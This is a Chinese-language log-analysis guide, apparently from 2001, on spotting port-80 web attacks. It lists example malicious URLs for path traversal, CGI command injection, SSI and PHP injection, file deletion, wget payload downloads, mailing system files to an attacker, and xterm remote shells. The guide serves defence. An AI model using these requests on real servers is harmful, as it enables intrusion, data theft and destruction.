80端口web服務攻擊痕跡

作者信息:瀟湘夜雨(
文章信息:初級 初發日期:2001 08 關鍵字:web服務攻擊
來源鏈接http://www.chinaunix.net/forum/viewtopic.php?t=16045
摘要
web站點默認80爲服務端口,關於它的各種安全問題不斷的發佈出來,這些漏洞中一些甚至允許攻擊者獲得系統管理員的權限進入站點內部,以下是Zenomorph對一些80端口攻擊方式的痕跡的研究,和告訴你怎樣從日誌記錄中發現問題。
下面部分通過一些列子,展示對web服務器和其上的應用程序普遍的攻擊,和其留下的痕跡,這些列子僅僅是代表了主要的攻擊方式,並沒有列出所有的攻擊形式,這部分將詳細描述每種攻擊的作用,和其怎樣利用這些漏洞進行攻擊。
(1)"." ".." 和 "..." 請求
這些攻擊痕跡是非常普遍的用於web應用程序和web服務器,它用於允許攻擊者或者蠕蟲病毒程序改變web服務器的路徑,獲得訪問非公開的區域。大多數的CGI程序漏洞含有這些".."請求。
Example:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
這個列子展示了攻擊者請求mosd這個文件,如果攻擊者有能力突破web服務器根目錄,那麼可以獲得更多的信息,並進一步的獲得特權。

(2)"%20" 請求
%20是表示空格的16進制數值,雖然這個並不代表你能夠利用什麼,但是在你瀏覽日誌的時候會發現它,一些web服務器上運行的應用程序中這個字符可能會被有效的執行,所以,你應該仔細的查看日誌。另一方面,這個請求有時可以幫助執行一些命令。
Example:
http://host/cgi-bin/lame.cgi?page=ls%20-al|
這個列子展示了攻擊者執行了一個unix的命令,列出請求的整個目錄的文件,導致攻擊者訪問你係統中重要的文件,幫助他進一步取得特權提供條件。
(3)"%00" 請求
%00表示16進制的空字節,他能夠用於愚弄web應用程序,並請求不同類型的文件。
Examples:
http://host/cgi-bin/lame.cgi?page=index.html
這可能是個有效的請求在這個機子上,如果攻擊者注意到這個請求動作成功,他會進一步尋找這個cgi程序的問題。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
也許這個cgi程序不接受這個請求,原因在於它要檢查這個請求文件的後綴名,如:html.shtml或者其他類型的文件。大多數的程序會告訴你所請求的文件類型無效,這個時候它會告訴攻擊者請求的文件必須是一某個字符後綴的文件類型,這樣,攻擊者可以獲得系統的路徑,文件名,導致在你的系統獲得更多的敏感信息
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
注意這個請求,它將騙取cgi程序認爲這個文件是個確定的可接受的文件類型,一些應用程序由於愚蠢的檢查有效的請求文件,這是攻擊者常用的方法。
(4)"|" 請求
這是個管道字符,在unix系統用於幫助在一個請求中同時執行多個系統命令。
Example:
# cat access_log| grep -i ".."
(這個命令將顯示日誌中的“..“請求,常用於發現攻擊者和蠕蟲攻擊)
常可以看到有很多web應用程序用這個字符,這也導致IDS日誌中錯誤的報警。
在你的程序仔細的檢查中,這樣是有好處的,可以降低錯誤的警報在入侵檢測系統中。
下面給出一些列子:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
這個請求命令執行,下面是一些變化的列子
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
這個請求在unix系統中列出/etc目錄的所有文件
http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
這個請求cat命令的執行並且grep命令也將執行,查詢出”lame"
(5)";" 請求
在unix系統,這個字符允許多個命令在一行執行
Example:
# id;uname -a
(執行id命令後,緊跟着執行uname命令)
一些web程序用這個字符,可能導致在你的IDS日誌中失敗的警告,你應該仔細的檢查你的web程序,讓你的IDS警報失敗的機率降低。
(6)"<" 和 ">" 請求
應該檢查你的日誌記錄中這兩個字符,衆多的原因中,首要的一個是這個字符表明了添加數據在文件中
Example 1:
# echo "your hax0red h0 h0" >> /etc/motd (請求寫信息在motd這個文件中)
一個攻擊者可以容易的用象上面的這個請求篡改你的web頁面。比如著名的RDS exploit常被攻擊者用於更改web主頁面。
Example 2:
http://host/something.php=<b>Hi%20mom%20Im%20Bold!</b>
你會注意到這裏html語言的標誌,他同樣用了“〈”,“〉”字符,這種攻擊不能導致攻擊者對系統進行訪問,它迷惑人們認爲這是個合法的信息在web站點中(導致人們在訪問這個聯結的時候訪問到攻擊者設定的地址,這種請求可能會被轉變成16進制的編碼字符形式,使攻擊的痕跡不那麼明顯)
(7)"!"請求
這種字符請求常用語對SS(Server Side Include) I進行攻擊,如果攻擊者迷惑用戶點擊被攻擊者設定的聯結,和上面的一樣。
Example:
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
這個列子是攻擊者可能會做的,它讓一個host2站點上的文件看起來是來自於 host1上面的(當然,需要訪問者訪問這個被攻擊者設定的聯結。這種請求可能被轉化成16進制的編碼僞裝,不易發現)

同時,這種方式也可以以web站點的權限執行命令
Example:
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
這個列子在遠程的系統上執行“id"的命令,它將顯示這個web站點用戶的id,通常是”nobody"或者“www"

這種形式也允許包含隱藏文件。
Example:
http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
這個隱藏文件.htpasswd不會被顯示出來,Apache建立的規則會拒絕這種以.ht 形式的請求,而SSI標誌會繞過這種限制,並導致安全問題
(8)"<?" 請求
這種攻擊用於試圖在遠程的web應用程序中插入PHP程序,它可能允許執行命令,這取決於服務器的設置,和其他起作用的一些因素(比如php設置爲安全模式)
Example: http://host/something.php=<? passthru("id");?>
在某些簡單的php應用程序中,它可能會在遠程系統上以web站點用戶的權限執行本地命令
(9)"`" 請求
這種字符後面常用在perl中執行命令,這個字符在web應用程序中不是經常的使用,所以,如果看到它在你的日誌中,應該非常小心
Example:
http://host/something.cgi=`id`
一個perl寫的有問題的cgi程序,會導致執行id命令
[更進一步]
下面部分將討論更多的攻擊者可能執行的命令,連同被請求的文件,以及如果你有遠程執行命令的缺陷,應該怎樣檢查發現它。這部分只是給你個好的思路,並告訴你的系統發生了什麼,攻擊者嘗試攻擊你的系統的痕跡,但並不能列舉所有的攻擊者使用的命令和請求的方式。

"/bin/ls"
這個命令請求整個路徑,在很多的web應用程序中都有這個漏洞,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠程執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。再一次提醒,寫好的web應用程序(cgi,asp,php...etc)是安全的基礎

Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"
這是一個windows的shell,一個攻擊者如果訪問並運行這個腳本,在服務器設置允許的條件下可以在windows機器上做任何事情,很多的蠕蟲病毒就是通過80端口,傳播到遠程的機器上
http://host/scripts/something.asp=../../WINNT/sys tem32/cmd.exe?dir+e:

"/bin/id"
這是個2進制的文件,它的問題和/bin/ls一樣,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠程執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。
它將顯示屬於哪個用戶和屬於哪個組
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;

"/bin/rm"
這個命令可以刪除文件,如果不正確的使用是非常危險的
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget and tftp" 命令
這些命令常被攻擊者用來下載可能進一步獲得特權的文件,wget是unix下的命令,可能被用來下載後門程序,tftp是unix和nt下的命令,用來下載文件。一些IIS蠕蟲通過tftp來複制自身傳播病毒到其他的主機
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

"cat" 命令
這個命令用來查看文件內容,常用來讀重要的信息,比如配置文件,密碼文件,信用卡文件和你能夠想到的文件
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 命令
這個命令常用於寫數據到文件中,比如“index.html”
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" 命令
列出當前運行的進程,告訴攻擊者遠程主機運行了那些軟件,以便從中得到一些安全問題的主意,獲得進一步的權限
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

"kill and killall" 命令
在unix系統這個命令用於殺掉進程,一個攻擊者可以用這個命令來停止系統服務和程序,同時可以擦掉攻擊者的痕跡,一些exploit會產生很多的子進程
Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

"uname" 命令
這個命令告訴攻擊者遠程機器的名字,一些時候,通過這個命令知道web站點位於哪個isp,也許是攻擊者曾今訪問過的。通常uname -a來請求,這些都將記錄在日誌文件中
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, etc..." 編譯/解釋命令
攻擊者通過wget或者tftp下載exploit,並用cc,gcc這樣的編譯程序進行編譯成可執行程序,進一步獲得特權
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
如果你查看日誌中發現有“perl” python”這些說明可能攻擊者下載遠程的perl ,python腳本程序,並試圖本地獲得特權
"mail" 命令
攻擊者通常用這個命令將系統的一些重要文件發到攻擊者自己的信箱,也肯能是進行郵件炸彈的攻擊
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@好好學習 cnhonker.org%20<<%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=mail%[email protected]%20<</tmp/wu-2.6.1.c;

"xterm/其他X 應用程序" 命令
xterm 常用來獲得遠程機器上的shell,如果你在你的日誌中發現這些符號,可要認真分析你的系統,可能已經存在安全裂口。注意在日誌中查找"%20-display%20" 這個字符,這種痕跡通常是在遠程機子上啓動xterm或者X應用程序
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1| http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;

"chown, chmod, chgrp, chsh, etc..." 等命令
在unix系統這些命令允許改變文件的許可權限
chown = 允許設置文件的擁有者chmod = 允許設置文件的許可權限chgrp = 允許改變組對文件的擁有權限chsh = 允許改變用戶的shell
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html| http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd| http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
"/etc/passwd" 文件
這是系統的密碼文件,一般是shadow過的,並且不允許看到加密的口令,不過對攻擊者來說,可以知道那些是有效的用戶,以及系統的絕對路徑,站點名稱等信息,由於通常被shadow過的,所以對攻擊者,通常會查看/etc/shadow 文件

"/etc/master.passwd"
這個文件是BSD系統的密碼文件,包含有加密過的密碼,這個文件對root帳號僅僅是隻讀的,而一些不熟練的攻擊者會打開他試圖讀取裏面的內容.,如果web站點是以root權限運行的,那麼對攻擊者來說,就能夠讀取裏面的內容,對系統管理員很多問題也將接踵而來

"/etc/shadow"
包含有加密過的系統口令,對root帳號同樣只讀,和/et/master.passwd差不多

"/etc/motd"
當用戶登陸進unix系統中出現的信息,就在這個"Message of the Day" 文件中,它提供重要的系統信息和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本信息,攻擊者通常查看此文件,瞭解是什麼系統在運行,對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權

"/etc/hosts"
該文件提供ip地址和網絡信息,攻擊者可以瞭解更多的系統中的網絡設置

"/usr/local/apache/conf/httpd.conf"
這是個Apache web服務器的配置文件,攻擊者可以瞭解諸如cgi,ssi是否可訪問等信息

"/etc/inetd.conf"
這是inetd服務的配置文件,攻擊者可以瞭解遠程機器上的那些服務啓動,是否用了wrapper進行訪問控制,如果發現wrapper 運行着,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裏面的一些設置,獲得特權

".htpasswd, .htaccess, and .htgroup"
這些文件通常在web站點用於對用戶身份進行認證,攻擊者會查看這些文件,並獲得用戶名和密碼,密碼文件.htpasswd被加密過,通過一些簡單的破解程序進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)

"access_log and error_log"
這些是apache服務器的日誌記錄文件,攻擊者常會查看這些文件,看那些請求被記錄,那些和其他請求不同的地方
通常,攻擊者會修改這些日誌文件,比如他自身的地址信息,攻擊者通過80端口突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程序記錄系統狀況,這將使入侵檢測工作變的很困難

"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"
Windows NT系統中的密碼文件,如果遠程命令不可以執行,通常攻擊者會請求這些文件,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼文件,如果成功那麼遠程機器將被攻擊者得到控制權

[溢出 分析]
我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩衝攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現

下面是個簡單的列子
Example: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
這個列子展示了攻擊者對某個應用程序發送很多的A字符,來測試程序的緩衝溢出,緩衝溢出可以獲得遠程主機的命令執行權限,如果是具有setuid和屬主爲 root的程序,通過溢出,可以得到整個系統的訪問權限,如果不是setuid之類的程序,那麼溢出僅僅是得到運行該web站點的用戶權限

這裏並不能講述所有的情況,不過你應該有定時的檢查你的日誌文件,如果那一天突然發現很多的請求,而平時的請求不多,那麼說明你正遭受到溢出的攻擊,當然也可能是一種新的網絡蠕蟲的攻擊

[編碼轉換]
以上提及的所有攻擊請求,攻擊者通常知曉IDS系統常會機械的檢查這些請求,通常是攻擊者會用編碼轉換工具將所請求的內容轉化成16進制的格式,導致 IDS會忽略這些請求,我們熟知的CGI漏洞掃描工具Whisker就是個很好的列子。如果你在查看日誌的時候發現大量的16進制和不常見的一些字符,那麼可能攻擊者嘗試用一些方式對你的系統進行攻擊
一種快速發現的方法是,將你的日誌文件中的那些16進制的請求,拷貝到你的瀏覽器中,通過瀏覽器可以轉化成正確的請求,並顯示出來請求的內容,如果你不敢冒這個危險,簡單的man ASCII,可以提供給你正確的編碼。

[結論]
這篇文章不可能覆蓋所有的80端口的攻擊,但是以上已經列舉了大部分普遍的攻擊方式,同時告訴你如何檢查你的日誌文件,和怎樣加如一些IDS的規則,寫她的目的在於給web系統管理員應該關注什麼提供一個好的思路,同時,我也希望這篇文章可以幫助給web程序的開發者寫出更好的web程序
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章